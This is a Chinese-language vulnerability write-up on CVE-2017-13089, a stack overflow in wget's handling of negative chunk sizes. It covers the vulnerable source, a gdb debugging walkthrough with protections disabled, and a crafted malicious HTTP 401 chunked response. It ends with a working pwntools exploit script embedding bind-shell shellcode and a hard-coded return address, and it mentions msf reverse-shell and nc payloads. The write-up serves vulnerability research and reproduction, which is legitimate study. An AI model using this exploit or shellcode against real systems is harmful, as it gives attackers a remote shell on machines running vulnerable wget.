CVE-2017-13089 wget栈溢出漏洞分析与复现
漏洞描述
在处理分块编码的数据时,wget会使用skip_short_body()函数,函数中会调用strtol()来对每个块的长度进行读取,在1.19.2版本之前,并没有对读取到长度的正负进行检查。然后使用MIN宏在长度跟512之间选择一个最小的长度contlen,将此长度传给fd_read()作为参数向栈上读入相应字节的内容。若某块的长度为负,经strtol()处理后,返回的size为有符号整形(8-byte),MIN()宏也会认size比512小,会将此8-byte负数作为参数传给fd_read(),fd_read()只取其低4-byte,因此contlen可控,栈上写内容的长度可控,可以造成栈溢出。
漏洞复现
OS:Ubuntu 16.04 64bit debugger:gdb-peda(memsearch比较方便) wget v1.19.1
编译安装1.19.1版本的wget:
$ sudo apt-get install libneon27-gnutls-dev
$ wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
$ tar zxvf wget-1.19.1.tar.gz
$ cd wget-1.19.1
这里为了方便调试,把程序的canary和NX保护关闭掉。
$ vim configure.ac
在788行下面加入
CFLAGS="-fno-stack-protector $CFLAGS"
CFLAGS="-z execstack $CFLAGS"
即可
$ make && sudo make install
$ wget -V
漏洞分析
漏洞函数 skip_short_body()
:
static bool
skip_short_body (int fd, wgint contlen, bool chunked)
{
enum {
SKIP_SIZE = 512, /* size of the download buffer */
SKIP_THRESHOLD = 4096 /* the largest size we read */
};
wgint remaining_chunk_size = 0;
char dlbuf[SKIP_SIZE + 1];
dlbuf[SKIP_SIZE] = '\0'; /* so DEBUGP can safely print it */
/* If the body is too large, it makes more sense to simply close the
connection than to try to read the body. */
if (contlen > SKIP_THRESHOLD) //contlen 小于等于 4096字节
return false;
while (contlen > 0 || chunked) //数据使用分块编码
{
int ret;
if (chunked)
{
if (remaining_chunk_size == 0)
{
char *line = fd_read_line (fd);
char *endl;
if (line == NULL)
break;
remaining_chunk_size = strtol (line, &endl, 16); // 未检查remaining_chunk_size是否为负
xfree (line);
if (remaining_chunk_size == 0)
{
line = fd_read_line (fd);
xfree (line);
break;
}
}
contlen = MIN (remaining_chunk_size, SKIP_SIZE); // contlen 为可控变量
}
DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));
ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1); // 引发溢出
if (ret <= 0)
{
/* Don't normally report the error since this is an
optimization that should be invisible to the user. */
DEBUGP (("] aborting (%s).\n",
ret < 0 ? fd_errstr (fd) : "EOF received"));
return false;
}
contlen -= ret;
if (chunked)
{
remaining_chunk_size -= ret;
if (remaining_chunk_size == 0)
{
char *line = fd_read_line (fd);
if (line == NULL)
return false;
else
xfree (line);
}
}
/* Safe even if %.*s bogusly expects terminating \0 because
we've zero-terminated dlbuf above. */
DEBUGP (("%.*s", ret, dlbuf));
}
DEBUGP (("] done.\n"));
return true;
}
找了一下进入漏洞函数的几个地方,发现一个条件比较简单的,在src/http.c的第3493行:
3493 if (statcode == HTTP_STATUS_UNAUTHORIZED) //返回码为401 UNAUTHORIZED
3494 {
3495 /* Authorization is required. */
3496 uerr_t auth_err = RETROK;
3497 bool retry;
3498 /* Normally we are not interested in the response body.
3499 But if we are writing a WARC file we are: we like to keep everyting. */
3500 if (warc_enabled) //文件不是WARC(Web ARChive)格式 进入下面的else分支
3501 {
3502 int _err;
3503 type = resp_header_strdup (resp, "Content-Type");
3504 _err = read_response_body (hs, sock, NULL, contlen, 0,
3505 chunked_transfer_encoding,
3506 u->url, warc_timestamp_str,
3507 warc_request_uuid, warc_ip, type,
3508 statcode, head);
3509 xfree (type);
3510
3511 if (_err != RETRFINISHED || hs->res < 0)
3512 {
3513 CLOSE_INVALIDATE (sock);
3514 retval = _err;
3515 goto cleanup;
3516 }
3517 else
3518 CLOSE_FINISH (sock);
3519 }
3520 else
3521 {
3522 /* Since WARC is disabled, we are not interested in the response body. */
3523 if (keep_alive && !head_only
3524 && skip_short_body (sock, contlen, chunked_transfer_encoding)) //进入漏洞函数
3525 CLOSE_FINISH (sock);
3526 else
3527 CLOSE_INVALIDATE (sock);
3528 }
...
根据上面的条件可以构造一个返回包调试一下:
HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFF0000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0
gdb调试wget:
在strtol()处下断,run起来
gdb wget
disassemble skip_short_body
b *0x000000000041efaa
r localhost:6666
成功断下。ni一步,看RAX。
可以看到strtol函数返回值为:0xffffffff00010000
公式大概是这样。
继续ni,到fd_read()处查看传入的参数。
可以看到,这里取了0x10000
也就是0xffffffff00010000
的低4字节作为长度参数,往0x7fffffffd770
中写数据也就是’AAAAAAAAAAAAA…‘。
然而ni过去,并没有写入,考虑可能是contlen太大了。
size换成-0xfffff000
,重新试一下,这次处理后的contlen为0x1000
,成功写入。
c继续,成功 crash ,覆写了ebp , 控制栈上的数据再ret可以控制rip,劫持程序控制流。
这里可以计算出来offset。
distance 0x7fffffffd770 0x7fffffffd9a8
漏洞利用
因为之前关了NX与canary,所以可以直接写入shellcode,然后ret过去。
当然ROP也可以。(我尝试利用ROP,执行system(payload) , payload为用nc反弹shell的payload的地址。但是没成功,看起来system只能将payload中的前7个字节当参数?)
这里的shellcode可以使用msf生成reverse shell payload,用msf监听。
也可以用bind shell。
bindshell
#!/usr/bin/env python
# -*- coding=utf8 -*-
"""
# Author: le3d1ng
# Created Time : 2019年05月23日 星期四 17时29分13秒
# File Name: exp.py
# Description:
"""
from pwn import *
payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFFF000
"""
port = p64(6324).replace('\x00','')[::-1]
sc = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02"+port+"\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
payload += sc + (568-len(sc))*'A'
payload += "\x70\xd7\xff\xff\xff\x7f\x00\x00" #输入数据起始地址
payload += "\n0\n"
with open('ppp','wb') as f:
f.write(payload)